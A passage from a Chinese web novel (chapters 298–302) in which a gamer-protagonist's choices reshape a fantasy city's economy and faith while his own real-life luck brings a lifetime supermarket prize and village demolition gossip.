最为重要的是,天地银行开始开遍整个明州,既然有看得见摸得着的天地银行,又有官府托底,百姓们倒是将心放到了肚子里。 与此同时,云城第一批工厂总算建设完毕,等内部的装备处理好后,便开始招聘工人,打算进行生产。 这次缺口很大,一下要招近五千人进去,顿时整个云城为之一震。 ——老天,要知道云城有二十万人,往日就算是官府招工,那也最多招收几十个到头了,这如今是要干嘛,一下招收五千人? 有这么多岗位能做? 众人疑惑不解,但还是个个抢破了头前去应聘。 很快,五千人迅速招聘到位,而后这些人纷纷流入豆腐厂,沼气池厂,机械厂,染料坊,织布厂,糖厂,陶瓷厂,铁厂,水泥厂等等。 按照个人的优势,将这些人分工后投入工厂,开始生产物资。 毕竟方知意来的时候便了解到如今的云城物质水平很低,将这些人投入工厂,可以解决一部分闲置的劳动力,且生产出来的东西首先会供应这偌大的本地市场。 工人们赚到钱后,便有钱能拿出去消费,会将一潭死水的经济催动起来,而后逐渐实现生活水平上升。 同时,一旦主业务发展起来了,其余配套的副业便自动会有聪明人跟上。 比如马车业务,送货业务,镖行业务,这些都是能衍生出来的别的行业。 而这些行业会进一步招收劳动力,从而再一次催化市场经济流通,大环境好了的话,娱乐业务也会跟上,这便开始走上正轨了。 第299章 真香啊 本以为云城的管控或许不会那般顺利,毕竟这都城可比原先她们所拥有的地盘大了不少。 且因为执行新政策和法律,所以无论是方知意亦或是祝应,以及对应的办事官员,或多或少都会考虑过遇到突发情况该如何处理。 起初一开始还有用上的机会,但越往后,伴随着这套新法明显让百姓过上了好日子,现在别提百姓会反抗,这会恨不得个个面对官兵都是笑脸。 除了这些不算,时不时的,官府的情报部门就会拿到不少情报——大都是关于哪家大户偷偷摸摸违反新法,哪家大户私底下不按照规定来等等诸如此类的,中间没有强逼,完全来自于百姓的自发举报。 云城的百姓们算是看清楚了,这新的知州大人来了后,他们的日子开始过得好起来,吃饱穿暖,赚上高薪,家中妻子也可出门找活去做,家中岁数不够的孩子可以花一点小钱送到官府出资建造的托管班,那里有专人负责照顾孩子,只需要下班后将孩子带回家即可,若是孩子到了上学的年纪,那便可送到学堂,去学堂上学,学一些字,认一些本领 除了这些外,云城的物价开始降低,尤其是粮食类的,本城不知道从哪弄来一大批地瓜,卖得便宜,家中钱财不够的,便可以多购入一些地瓜,总归比原先吃得饱了。 粮食的价格降了,盐巴的价格更是低得发指。 仅仅5文钱一斤。 有人消息灵通,知晓这东西在风仙县那边卖2文钱一斤,但因路途消耗车马运费,所以价格上涨。 听说等到过年后,本地附近的盐池用上新的法子后,效率便会提升,提升后,自然价格也会降低不少。 但即便如此,百姓也早就感恩戴德——以往就算是最烂的粗盐也在二十文到二十五文,更何况眼前这比成色最好的细盐还要细腻雪白的盐巴? 盐铺旁边便是糖铺,同样白花花的糖粉吸引了不少人的注意力。 等到问了问,发现这白糖价格并不贵,属于每个人都能买得起的存在。 因本城工厂设立,油盐酱醋,布料等等物价均有下调,工资还实打实的涨了,这不可谓不是好消息。 且因每日仅需工作四个时辰,所以几乎每家每户都有时间陪家人孩子,不像以往那般需要全天泡在外面赚钱,一年到头几乎看不到家人。 因新法实施,如今女子也可出门寻找工作,且个个不输男子,一来二去的,女子地位不自觉提升许多,再加上婚姻法,养老法等等和百姓息息相关的法律不断地慢慢改变百姓的思想,倒是将原先不曾开蒙的固化思维彻底打开 各种各样的好处简直说不完,总归就一个字,自从这云城换了新的统领后,他们这才慢慢发现,这才是有尊严的生活,原先他们那最多只叫苟活! 一番对比,自然谁都乐意过如今的生活。 由奢入俭难,为了确保自己的生活能像如今一样幸福,不少百姓开始自发地监督,负责将那些别有用心的私人行为记录在心底,而后偷偷上交给官府。 除了生活上的改善,最重要的也是在信仰上,众人彻底有了新的信仰。 原先在这块土地上,并没有什么统一的信仰,现如今,伴随着戏班子的入驻,茶楼,说书楼大量引进各种饱含仙师奇幻个人过往,个人色彩的故事便被人翻来覆去的讲。 讲仙人诞生之地如何奇诡,讲仙人如何俊秀脱俗,如何慈悲宽厚,讲仙人庇护百姓,以一己之力杀灭数万敌军,又讲仙人赐下神果,神物,好让百姓吃饱穿暖 人的思想完全可以被后天塑造,更何况这些人头一次上扫盲班也全是因为仙师的教诲,再加上日子过得确实好得和做梦一样,且当日也有不少人见到了那腾飞在空中的仙人,一来二去的,画本子,亦或是说书人口中那个略带玄乎的仙人逐渐清晰,逐渐变得更为可信。 毕竟有犟种不信这些虚的故事,但被身边人亲口告知那日确实看到仙人后,个个心态微崩。 一传十,十传百,很快,一条和风仙县类似的,专门负责售卖仙人画像和小像的街道便诞生了。 最先将这些物件带来的自然是风仙县那边的商人,因觉得有赚头,他们个个驱车前往云城,以及附近县域,目的就是为了兜售这些画像和小像。 刚好赶上众人正是对仙人无比敬畏且尊崇的时候,来购买的人几乎是一窝蜂涌入,没多久便将全部货品抢购一空。 察觉到这云城生意好做后,不少有胆魄的商户立即选好铺子,租赁下来,开始做生意。 这些画像自然也分三六九等,譬如名家出手和街头小画师画得那压根不是一个东西。 第一批的画像和小像相对来说较为粗糙,后几批的便更为精致传神。 等到这生意轰轰烈烈做了有两个月后,一家打着“最还原仙人容貌”的铺子火了。 这铺子的主人不是别人,正是宋白。 他原先在风仙县开设店铺,自从知晓整个明州都属于仙师旗下后,早就想在这里也租赁铺子,给众人科普一下仙师的容貌气度。 也恰逢不少商户前去租赁,宋白自然也跟上来,租了较好的铺子,将自己的得意之作纷纷摆出来,开业当日便告知可免费参观,当日还有现货可以售出。 一开始他打着“最还原”旗号便让围观群众觉得此人过于高傲,不知天高地厚。 虽说大部分人没看到过仙人尊荣,但也不乏真有人看到的。 而这些人里自然有家境殷实,又性格恶劣,想要上门找茬的人存在。 围观群众倒是发现一点,这新开的铺子竟然什么折扣都没有,和周围店铺截然不同,这是否是太傲慢了? ——算了,反正等开业了,最多就去看一眼,至于要买?这定是不能够的。 抠搜到第一日开门都不给优惠,这肯定不是诚心做生意。 虽说这神秘铺子傲慢抠搜,还夸下海口,但事实上,等到第二日时,众人很快便发现这铺子门前挤满了人。 等等不是一个个都表现的不在意么?现在这些人到底是哪来的啊! 吐槽的话还不曾说出口,很快店门打开,离得近的,准备找茬的众人便被那扑面而来的一副巨大画作冲击得心神荡漾。 这画足有一人高,远远看过去,像是仙人活了一般。 尤其是当日亲眼看到过的人更是瞪大双眼——靠,这也太像了,虽说做不到一比一还原,但若不凑近的话,这气度容貌确实和仙人真容有个六七分接近。 不少人是买过画像和小像的,如今看到这物顿觉货比货可扔。 个个后悔买早了。 但等看到这标价后,又松了口气。 还好还好,是他们买不起的价格,这既然买不起,也倒是没什么遗憾了。 据这宋画师说,日后这画作会免费展览,好让大伙都能看看仙师尊荣。 这话倒是一洗众人心中对他的坏印象,个个称赞他之余,不少有实力的人已经选择了购入画像,预约的小本子已经写满了一本,另一本新的本子刚开了封,负责管事的店员正提笔写字记录。 至于别的尺寸小的,价格稍低一些的,不少有能力的人则是迅速购入,差点没在店里打起来。 “这小像是我先看中的,唐兄你休想和我抢。” “刘兄你还好意思说,刚才不是你一直在说这铺子的东西狗都不买?既然如此,我就替你笑纳了。” “你!我那是还没看到东西,现在看到了,自然觉得和它有缘。” “你有缘我就没缘了?既如此,那便谁给的钱更高谁拿走!” 围观的好友:不是,之前谁说的一分钱都不会花给店铺的?现在抢得完全有失体面啊!和乡下护食的野狗一样粗俗。 但这情况并非一例,而有多例,等到整个店铺除了那幅巨大的画像没被买走外,几乎全被人买空了。 买到的人心生欢喜,回家炫耀自己买到的栩栩如生的小像和画像,没买到的人暗自咬牙切齿,又去查看登记本,开始花钱插队,试图尽快拿到。 毕竟越早拿到,面对这样逼真的画像向仙人跪拜时想来效果会更好一些吧? 这跪拜神像,不就讲究一个形神俱像? 除了此地争抢得不可开交外,还有一处也是人头攒动。 这处便是新开设的祈灵殿。 殿内供奉着仙人的雕塑,一旁的侧房则是飘来一阵阵麻辣鲜香的酸辣粉味。 但凡是怀孕之人,便可来免费求一碗庇护后代的神赐之物,好求个母子平安。 一个人只能领一份,且不得插队,不得靠任何手法扰乱登记顺序。 而登记顺序则是按照月份来登记的,越是大月份,排名便更靠前。 殿内如今放好了蒲团,不像别的寺庙道宫喜欢点檀香,这里的味道弥漫着一股冬季水汽的清冷味道,倒是让人不自觉放松心神。 不少怀孕的妇人先去登记,而后便跪拜仙人,再去领一碗被施加祝福的酸辣粉,当场吃掉,这便算是祈福完成。 起初众人还有些觉得不可思议,这酸辣粉她们目前也知道是何物了,毕竟从外地来了不少外来商人,也开始售卖这酸辣粉。 但无论如何,众人还是觉得略微不解。 不解归不解,但依旧乖乖照做,等将这神赐之物吃下肚中后,倒是浑身充斥着暖意,似乎有一股无形的力道缓缓的,轻柔的护住她的腹部,连带着整个人似乎都被包裹起来。 与此同时,屏幕弹了新的提醒。 第300章 稀有 【检测到神殿已经建立,可以选择香味了。】 姜定微微一愣。 神殿?这是什么东西? 等到将游戏镜头内的巨大塑像点开后,发现居然是主控的形象。 虽说做得有些不是很像他,但有一说一,这点虚荣的装感立马就让姜定爽了一小会。 ——别说,这游戏是挺会讨好玩家的哈,这么大的塑像,完事了还有不少人过来当气氛组,极大地满足了他那点装的心思。 等到截了几张图后,姜定才开始看所谓的香味到底是什么。 【A.檀香。最正统的佛门道教香味,置身于其中会让信徒感受到威严。】 【B.花香。独有韵味的花香味,置身于其中会让人产生一些莫名的情绪。】 【C.果香。各种水果汇聚的新鲜味道,置身于其中会让人觉得精神放松。】 三个选项。 没有明确说明每个加什么属性点,但姜定很快便选择了C选项。 【选择C选项生效——获得神殿永久buff“精神舒缓”。】 姜定有些犹豫。 感觉这也不是个什么特别好的buff,莫非自己选错了? 但转念一想,选都选了,还能怎么样,就这样吧,等以后暴露出不对劲了再说。 与此同时,祈灵殿。 和往常一样,不少前来祈求神赐之物的怀孕女子被家里人带着过来,来的时候忧心忡忡,满怀警惕,但等一踏入这祈灵殿内,顿时一股和煦而又带着淡淡的果香味便飘了过来。 这味道很是复杂,但调和配比得刚好,让人不自觉便放松了精神。 不少人往供台看过去,发现上面干干净净,并没有什么贡品——奇怪,本以为这味道是贡品的瓜果传来的,如今看来竟然是她们猜错了。 虽说好奇,但众人都知道自己此行来的目的,个个跪拜一番,又按照规定吃了一碗粉,这才离开。 离开后,嘴角的微笑也不曾放下来过。 本以为只是个例,但很快,便随着去的人多了,民间倒是慢慢传开这祈灵殿去了后,能解抑抗邪。 一开始是一男子陪自家怀了孕的娘子过去祈福,他近日来颇为烦恼,主要还是因为被那日人魂幡吓着了,虽说当时那仙人将他们的魂魄送回了身体内,但经历了这么一遭,几乎所有人都会不自觉回忆起当日的恐惧绝望。 人的脑袋是无法控制的,越是不想想到什么,反而那些想被遗忘的记忆越发清晰。 以至于会日日夜夜像噩梦一样缠绕着他们。 他们也曾去中药馆开过方子,但不管用,无奈之下,只能任由此事发展,毕竟该想的法子都想了,或许只能由时间抚平过往的惊吓。 噩梦的坏处便是很消耗精气神,众人也是被折磨得蔫巴,这男人也是如此。 只是那日踏入祈灵殿后,便觉得先前缠绕在自己心头的那股悲愤、绝望、恐惧竟然异常安静,而后,他浑身充斥着一股难以描述的舒缓,仿若温热的水流一样抚遍全身。 他就那样静静的抬头凝视着仙人的面庞,繁杂混乱的大脑竟然意外的平和下来。 等到自家妻子吃完神赐之物,他这才如梦方醒的回神,跟着回家。 本以为今晚又要做那日之梦,但奇怪的是,噩梦消失了。 一连几天均是如此,此人兴奋之余,不忘告诉和他一样困扰的人该如何解当日之法。 很快,这些受害者们纷纷赶往祈灵殿,等到虔心跪拜离去后,果然之后几日再也不曾做过噩梦。 消息传播得飞快,不仅仅是当日经受过人魂幡摧残的受害者纷纷前往祈灵殿祈福,不少退出一线的官兵们也尝试着去试试看。 这些人过往是优秀的士卒,跟着将领们打仗作战,如今因知州大人的缘故,这才能被召回后勤继续做活,不用像是以前一样,一旦从战场上退下来,便会因人太多,活计太少而被打发回去。 如今的政策是年纪小的便继续在队伍里接受训练,上了年纪或者受了伤的,会依据过往的贡献让对方选择两种给付方式。 一是一份稳定的清闲工作,二是一笔钱。 无论是拿着钱自己再去找一份别的工作,亦或是拿到一份稳定清闲的工作,都极好的缓解了这些士卒们刚回归的不安——过往朝廷的规矩便是战胜后,除了有突出贡献的能得个一官半职,别的普通小兵(特指没有关系的这批)很快就发点小钱将他们打发回原来的户籍地去。 能活着回去还四肢健全的,可谓是幸运儿了,但很快不久也会在日复一日的重复劳动中麻木,最后大部分都会因为严重的战争后遗症而死去,这在本朝有个专针对此人群创造的词语,叫“战后癔症”。 至于那些活下来但缺胳膊少腿的倒霉蛋们,即便是回去了,因朝廷给付的银两本就偏少,所以大都不久后便会拖垮全家人,很快死去。 这些都是众人心知肚明的东西,但一般来说,本身当士卒的这些人就是活不下去的那一批人,当初加入队伍不过也是想死得慢一些。 本以为会面对既定的命运,但谁都没想到知州大人会给他们托底。 不仅仅钱给到位,与此同时工作也安排到位,同时,报纸上还专门对他们这样退下来的士卒进行了赞扬,大概意思便是百姓们要牢记他们的付出,若没有他们,便没有安稳生活。 同时,官府给这些士卒办了一张实名的卡片,日后可靠着此卡片,在明州境内享受一份补助——包含药馆,住房两方面,作为给他们托底使用。 以往最被忽视的一群人,此刻受到了远超预期的嘉奖,这让这些士卒们很是惊诧,而后便是抽噎着抹泪。 谁都不曾把他们当做人,但知州大人不一样。 日后若是知州大人还需要他们,他们会为日后的征战献上一切,哪怕是这条命。 实际上,这件事很好地引导了百姓的信心,以往进入军队是没办法了,但现在,不少人试着将它的排序往上升了几分,且最重要的是,这足以让众人明白一个道理。 这也是方知意想要透露出来的道理。 官府绝不会亏待有贡献的任何一人。 等到日子稍微平稳后,虽说有钱,也有工作,但这些士卒们时不时便会做噩梦。 梦里全是战场上的血腥场景,一个个熟悉的面庞倒在身前,激起一地尘土。 这些人里有自己认识多年的朋友,也有血缘关系的父亲,儿子,或者是别的旁支兄弟。 他们跌在地上,身体被兵器贯穿后又被马蹄践踏得血肉模糊,那一张张脸庞浮现出的表情便来来回回的出现在他们的梦里。 有时候是亲人好友的脸庞,有时候是看不清楚的敌人的脸庞,嘶吼着,叫嚣着,呢喃着,哭泣着,想要将幸存之人也拉下深渊。 这些人饱受折磨,先前在军中时偶尔也会做噩梦,可能是压力太大反而不会这般频繁。 如今日子好了,倒没想到竟也逃不过这“战后症”。 本都打算慢慢磨下去,但自从先前那流言传出来说祈灵殿很有安抚精神的效果后,这些人也将信将疑过去跪拜仙师。 本来只是死马当活马医,但谁都想不到,竟然真有用。 一进祈灵殿,一股温和的气息缓缓安抚着他们紧绷的神经,松弛得让人差点在蒲团上睡着。 等到撑着回到家后,那折磨了他们许久的癔症很快便消失得无影无踪,接连几次都是如此。 这消息一经传出,不少同样有癔症的人忙过来虔诚跪拜仙人,仙人慈悲,竟是都选择赐福给每个人。 而后的话,变得一发不可收拾。 甚至还有失眠的,抑郁的人也赶过去,试图看看自己的病症是否可解。 等到这些人试验一番后,发现虽说不如先前那些人那般明显,但去了后,能明显感觉到身体轻松许多,心头闷堵似乎被人一扫而空。 恰逢殿内招聘义工做酸辣粉,这些人便自告奋勇,主动成了义工中的一员。 也是奇怪,这些颇受失眠抑郁折磨的人,在连续做了一个星期义工后,倒是病症全部消失了。 即便是出了祈灵殿的门,那股轻松愉悦的感觉也充斥着全身,不曾褪去。 更别提回了有地暖的家中,透过刚换的光亮的玻璃窗往外看着飘扬的雪花纷纷洒洒落下,一股奇异的宁静感占据心房。 以往会焦虑,会痛苦,但如今视线却紧紧盯着那一片片雪花,任由雪花积攒在窗棂,形成厚厚的一层雪色,眼前一切开始迷迷糊糊起来,合上沉重的眼皮,头一次这般安稳的睡了过去。 ——以后终于不再焦虑,不再彷徨,一个崭新的明天已经悄无声息的来到,这不是臆想,而是实打实发生在眼前,是用肉眼所看到的最真实的东西,是可以触碰到的最温暖的存在。 一个如此美好的冬天。 箱子底部还放着一匹春色四溢的新鲜料子,那是前几日趁着促销买来的。 布料织得细密,又是那么鲜嫩的颜色,得等着留着春日穿才是。 这场雪飘飘扬扬的落在云城,落在每一家每一户的屋顶,混合着路人踩在蓬松雪地的“沙沙”声响,将这片天地催染成一片无比宁静安详之地 在选了神殿香味没多久后,姜定很快便发现自己多出了一张CG。 这张CG还标记着“稀有”,他点开仔细查看,发现画面里堪称极简。 只有一片苍茫的雪。 这CG的名字叫【雪色安宁】。 而同时,游戏内民众的满意值已然达到了惊人的80。《 》 300-310 第301章 锦鲤 在拿到稀有CG后,姜定很好奇的点开仔细查看,确定这个静态图就是一张茫茫大雪的图片后,姜定有些不明所以。 疑惑,但好歹能点开回放。 等点开CG回放,看着游戏内的剧情最终定格在云城普普通通的百姓对于春日的期待时,姜定才慢慢理解了为什么这张卡叫【雪夜安宁】。 这剧情真是十分的催泪,姜定伸手抹了把湿润的眼角,日常感慨咒骂了一番过往古代权贵不当人,而后决定等他打通关了,这些CG必须得拿出去给玩家欣赏一番。 要知道这剧情和质感,吊打当下不少动画公司! 这冷不伶仃一看,就连他都觉得这和真人一样活灵活现。 再次感慨这游戏的CG做得过于逼真后,姜定终于恋恋不舍的将游戏放下,开始学习公考资料。 虽说他家先前运气不错,陆陆续续又是中奖,又是抽中传奇装备,还给姜定买了个小汽车,但像房女士和姜爸这种老派家长,还是很希望自家孩子有个安稳体面的工作。 所以在短暂高兴后,姜定还是被“逼迫”着开始学习考公。 先前说过了,姜定是个努力的人,只是以往运气太烂,先前的考试也曾两次入面,但第一次是遇到了国考接近满分的神级大佬,第二次是遇到了某教育机构34岁卡点考试,准备进入编制养老的知名讲师。 两次均无缘于岗位。 这让姜定很是无语,同时也对自己的运气产生了深刻的怀疑。 毕竟这小概率的事他到底是有多倒霉才会接连两次遇到啊! 尤其是第一次,国考岗位的大佬将分数截图发在某社交平台时,他作为吃瓜群众还去围观过,看到对方变态的分数,姜定和其余没见过世面的土狗们一起留下一行“膜拜大佬,千万不要是我的对手啊啊啊啊啊!”的感慨后,便没再关注这帖子。 直到后面这位国考大佬自爆地区,姜定看了看,结合对方过往的帖子一些细节,逐渐对上了这个职位。 ——靠,怕什么来什么,这大佬好像是他这一片的,而且要死不死的,好像还是一个职位 姜定顿时心凉了半截,等到后续公布分数后,他还去挣扎着上了个面试班,去了现场一看,发现这大佬确实是那位,一见面就让姜定很是心死,接连引发之后面试也不太顺利。 当然他作为第二名,这分数差值和对方相差得很大,就算是面试自己的是亲爹亲妈,都给满分,那也赶不上对方的分数。 姜定暗戳戳安慰自己,他就当积累经验了,好歹下次入面就不紧张了。 回去了后难免心思郁闷,导致学习也少了几分劲头。 尤其是后面又倒霉遇到机构大佬,姜定确实有些绝望自己的倒霉——或许网友的调侃是对的,国家需要运气好的人,而他这样的倒霉鬼,就算再怎么努力也考不上,省得考上了还要拉低国家的气运。 心里是绝望的,但对于学习,姜定还是习惯性的继续学,只是没有先前那般拼命了。 不过过往的知识也没忘记,一直都有温故知新。 他今年还是要继续参加考试的,毕竟要赶着应届生的两年内多考几次才是,不然之后竞争会更大。 等到学完后,看着早就开放了好几天的报考窗口,姜定谨慎地开始选择职位。 合适的职位有三个,但他的运气总能选到最难最差的那个,但想想最近自家运气还不错(至少姜定认为还不错,毕竟大大小小中奖好几次),姜定决定蒙眼随便点一个得了。 把这一切都交给命运算了。 等到再次抬眼,看到那个被选上的气象局后,姜定浑身一震——这要不要换一个啊,他一个计算机出身的,这气象局本来就岗位很少,要求很严格啊,而且他好像以前听过一耳朵,这里福利待遇很好,工作又清闲,想必考上的难度很大。 正哆哆嗦嗦打算换个岗位时,姜定又一咬牙,想到自己刚才还说的一切交给命运,这会也不想改了。 不改了不改了! 上次他还潜心分析了好大一通,结果最后全都不按照他想法来,现在不如看天意得了。 恼怒的点击确定,等到报完名后,姜定松了口气。 他起身去外面买菜,打算继续做饭。 本是打算去城北那边的大超市购物的,毕竟今天是会员日,但他开车路过建设路时,发现这边不知道什么时候新开了一家超市。 看着规模也挺大,默念几声,姜定发现这应当是一线城市的连锁超市开过来了。 扫了一眼,这超市居然在搞开业大惠宾活动,但凡消费满88元即可抽奖一次,一等奖是一套终身有效的家庭物资资金,每个月兑现2000元,按照月领取,可以说,这活动简直算作超级大手笔了。 其余奖项也挺多,就连安慰奖也能拿到一包盐。 姜定有些犹豫——这超市看着还挺便宜的,不如试试这家。 将车停在地下停车场后,姜定上了楼,等到挑选好食物后开始结账。 他可以抽两次。 姜定拿着小票过去抽奖,这是个巨大的摇球机,里面充斥着花花绿绿的小圆球。 负责抽奖的员工告诉围观群众,抽奖绝对是完全真实的。 事实上,就连员工们都不知道那一枚代表着一等奖的小球到底被分配到了哪个地区。 ——等等,姜定逐渐察觉到不对劲。 再次看了一眼抽奖必知,才发现这玩意原来是整个连锁超市公用一份奖池 行吧,也很合理,毕竟这一等奖实在是数额巨大,别的不说,那可是足足终身免费购物啊。 姜定的手摸上了机器的把手,心里还在想着一些有的没的。 反正对于他们普通人来说,这每个月2000肯定是够用了,也不知道谁那么好命,能拿到这份大奖 他没太用力,将把手拉下去后,很快机器开始转动,等到三十秒后,机器停下来,两颗绿色的小球滚落出来。 姜定伸手过去拿来,其实压根没报什么期望。 刚才他脑袋已经从想象中奖的欢喜变成了想赶紧回家炖排骨的焦急。 两个小球拧开后,姜定匆匆忙忙打开,第一张纸条不出意料的写了个安慰奖,他心想两包盐也挺好。 翻开另一张纸条,却看到这纸条上隐约透出来的三个字。 “一等奖”。??? 姜定揉了揉眼睛,有些迟疑自己是不是看错了。 他身后的人开始催促他,让他去一边看去,别耽误别人摇球。 姜定乖巧而又懵懵的走到一边,再次确定一番,确认这三个字就是一等奖,他也没有看岔了后,姜定颤抖着手,对着那活动员工开口。 “你好,我中一等奖了” 那员工忙得晕头转向,还以为安慰奖,刚把盐递过去,结果又被对方纠正一番。 好容易反应过来,几乎所有的员工都化身为尖叫鸡。 这一下不得了,几乎所有的围观群众都“呼啦”一下跑过来围观这幸运儿,一时间姜定觉得自己好像某个大明星,肉眼所见之处,全是“噼里啪啦”的手机拍摄声,以及个个举高手机,开着录像的人群。 说实话,他还在懵中,且很不习惯暴露在镜头下,这会稍微挡住脸,往后躲了一下。 员工开始给他挂条幅,又打趣。 “小帅哥,别害羞啊 ,你这是运气爆棚,一会总部的人就会过来采访你,这可是要宣传的。” 姜定倒是完全可以理解,毕竟花了这么多钱,对方若是不将这事宣传出去,那也太亏了。 他勉强镇定下来,又对着给他挂条幅的员工道谢。 等到总部的人急匆匆过来后,姜定配合着完成了活动宣传。 这个时候人群已经散开,超市将他的信息录入系统,而后发给他一张黑卡,告诉他以后每个月都可以来消费2000元,一直到不能领为止。 这意思便是,这项权益直到死亡才会结束。 姜定没想到自己出来买个菜,凑个热闹,结果给自己绑了个终身饭票,这会还在发抖,只想赶紧回家。 停车费是五块,凭超市购物小票可免费。 姜定顺利开车回到了家。 好容易冷静一会,他打算做饭,结果很快父母的电话就来了。 房女士转发过来一个视频,颤抖着问:“儿子,这人是你啊?” 姜定扫了一眼,深觉自己在视频里看着好傻,这会尴尬开口:“嗯,是我,我还没来得及告诉你和我爸呢” 相比于那些虚头巴脑的东西,房女士更在意他中奖的事。 一时片刻说不完她的激动,姜定能听到她那边声音很嘈杂,似乎是有不少过来看热闹的同事询问。 房女士和他说了几句后,便没空搭理他,反而和周围同事开始谈话。 “我家那孩子从小就心善,这也是老天爷给的回报吧。” “以前确实是运气差点,现在可好,老天总算是开眼了” 不少人自然是艳羡不已,但一想确实过往这姜家的孩子的确多灾多难,又一想后也没那么嫉妒了。 当然了,心里还是酸酸的。 之后姜爸也过来询问这事情的真实性,于是姜定好像机器人,再次将对话重新重复一遍,同样得到姜爸的惊呼声,以及重物落地后摔得稀碎的声音。 那边很快就开始混乱,姜定索性直接挂了电话。 毕竟他不敢挂房女士的,还不敢挂老爸的嘛! 除了父母的询问,姜定还要应付不少朋友同学的询问,一时间,在他不知道的地方,不少人竟然拿他当锦鲤拜了。 而得知此事的姜定:???锦鲤?我? 第302章 过年了 事情的风向转变得很快。 昨天还在感慨姜定这人运气好,以后可以当成锦鲤来拜,今天,所有人的注意力便被一则新的消息吸引了注意力。 有小道消息传言,小坪村要拆迁了,日后那里打算建造一所国际大物流中心,据说每人都能分个几百万不是问题,除了给钱,还白给一套商业房。 这会大伙的目光全部被小坪村吸引过去了。 姜定知道这村子,和他老家村子距离很近,按道理说,两个村子都有可能被拆迁,但很明显,对方选择的是小坪村。 暗自庆幸这突然出现的小坪村拆迁给自己吸引了炮火后,姜定又是稍稍叹息——这有时候是看命,二选一的事,若是选到了他们的村子,那可真是日后能躺平了。 高中同学群很快就曝出来王豪老家就在小坪村,一时间,群里个个开始羡慕吹捧王豪。 毕竟姜定上的是普通高中,里面绝大部分同学都是普通家境,眼看王豪老家即将拆迁,这王豪还考上了稳定单位,日后又有钱,还有房,这日子肯定过得美滋滋。 姜定大概看了看群聊。 群里一直很冷清,在这件事还没出来前,上条消息还在三个月前的同学聚会。 如今知道了拆迁消息,倒是炸出来不少人。 杜越私聊他,还有些愤愤不平。 “王豪这人太狂了,老天爷瞎了眼,让他这样的人能拆迁。” 姜定对此人观感也不好,除了他和对方不对付的原因外,主要这王豪以前还真没做过什么好事,欺负同学,谄媚老师,校霸,总之杜越很瞧不起这样的人。 杜越叹气:“哎,难道越是这么卑劣的人越是能过得好?先前他考上公时,不少人还说要去举报他以前欺负同学呢,后来一个个也没消息了,这会这人都要拆迁发大财了。” 姜定心里也略微难受,主要难受点在坏人过得比他们这些老老实实,本本分分的人要好多了。 杜越继续吐槽:“希望他们小坪村这拆迁项目赶紧黄了,然后落到咱们村子里才是。” 说来凑巧,两人还是在后来才知道是一个村子的。 至于先前一直没见过则是因为杜越以前一直不在本地生活,但户籍却落在村里,等到高中时,这才跟着父母回来,在S省高考。 等到聊完天后,姜定心情也说不上好。 而房女士和姜爸也是刚得知了这小道消息,难免对隔壁小坪村艳羡不已。 “这运气也没谁了,咱们村也离得挺近的,这怎么就不从咱们这儿修呢?” 这话纯属于发泄情绪了,但好在三人都不是自怨自艾的人,没一会就哄好了自己,房女士还催促姜爸开车,三人一起去先前姜定中奖的超市去买东西去,毕竟那2000刚给完他们还没来及花呢! 再说家人好久没一起逛超市了。 王豪很是得意。 先前聚会那天,姜定抽中了稀有道具卖了不少钱,免费得了个车,他本就嫉妒得发狂,如今倒是觉得看路边的流浪狗都开始顺眼起来,没像以往吓唬流浪狗一番,他也进了本地刚开业的连锁超市购物,打算今晚庆祝一番。 一进门,倒是先看到了姜定傻乎乎的照片挂在入口,上面写了个“一等奖”中奖者。 王豪凑近了点,仔细算了算,这会也是胸口发闷—— 一个月2000,一年是2万4,十年是24万,姜定如今才二十一岁?好像是这个年纪,他怎么不得活到70岁啊,这五十年就是120万 靠,这人真邪门。 加上以前的卖道具的46万,这人免费得来了166万,只要以后有个不错的工作,以后日子过得应该也挺舒服的 王豪冷哼一声,决定收回先前的话,流浪狗或许能看顺眼,但是这姜定肯定是越看越不顺眼。 但转念一想,到时候自己拆迁得来的那套房都得一百来万了,这拆迁是按照人头计算的,他们一家四口,父母和妹妹分到的钱最后都是他的,最后他手上估计得有个一千来万,那个时候也算是走上人生巅峰了,还嫉妒姜定这点中来的小钱干什么。 顿时心里又痛快了几分。 他父母给他发了消息,说的是村里的人听说那拆迁计算是按照房屋平方计算的,如今大伙都在偷偷扩大边界,又要起楼,说是楼房算下来比墙贵多了,三人合计一番,很快就决定赶紧在正式拆迁计量面积前加盖好。 虽说现在人工贵了,但想想日后能获得的收益,三人还是乐此不疲,花了一大半存款用来建违章建筑。 而姜定则是完全不知道这事,他倒是在结账时遇到了王豪,但两人互相生厌,也就连招呼都没打。 看着姜定拿着满满当当的小推车,和父母说说笑笑地逛超市结账时,王豪心思阴暗地想,这些东西应该就是他们要刷那免费卡了。 等到眼看对方刷卡离去,他这才结了账,拎着东西迅速回了家。 晚餐是姜爸做的饭,等到吃完饭后,姜定回到了房间,再次点开游戏继续玩。 而房女士则是开始日常贴墙站立,维持身材,同时看着新闻。 姜爸洗着碗,哼着歌。 气氛一片和煦温暖。 再次进入游戏后,姜定大概扫视一番,发现游戏内的时间已经临近春节。 再次看向游戏里他旗下的区域,全部张灯结彩,好不热闹。 云城。 先前全城通暖任务和低价售卖棉衣任务全部完成,如今临近春节,更是要在春节放假前将工作全部干完才是。 尤其是厂子里和不重要的官府部门,个个期盼着春节。 原因无他,根据报纸所写,春节按规定是放五天假,但因为春节放假正好赶上周六,原先的周六日被涵盖在内,所以被占用的两日便被挪了出来,继续续在假期上,变为七日。 而开工的第一天为下个周六,这恰逢继续赶上两天,假日便到了九日。 要不然说今年运道好呢,能赶上放九日! 以往大伙还是很乐意上班的,毕竟工钱高,上班相对轻松,时间还短。 但也连着上了许久,加上这段时间知州大人的各种新政策,明州旗下大大小小的地区,百姓们个个能做到吃饱穿暖,这本身就已经是很大的进步了。 连续工作一段时间后,百姓们手里也攒了点钱,正是一年春节,也期盼着能和家人聚聚,和朋友聚聚,一起出去喝点酒,和家人吃口好饭什么的。 临近春节,云城以及附近的县域涌入一批新运过来的新奇玩意,包括布料,对联,小摆件,亦或是新奇副食品。 占据了整个零售街。 众人穿梭在其中,给过年做准备。 除了购买鸡鸭鱼肉外,先前本地新盖好的温室大丰收,冬日里还能吃到新鲜蔬菜和新培育的水果。 价格当然稍微贵一些,毕竟目前温室数量太少,还无法供应云城一整座城的需要。 不过不会出现被大户一口包圆的情况,蔬果也是做了限售的。 除了购入一些往日舍不得吃的新鲜蔬果外,百姓们还会排队去购买点心。 本城上个月刚开的糕点铺子,名为“张氏点心铺”,此铺子门面收拾得规整,从白天到晚上,里面源源不断的传来香甜的气息,引得众人不断的往里进去打探。 等知晓这价格后,不少人还是觉得偏贵了。 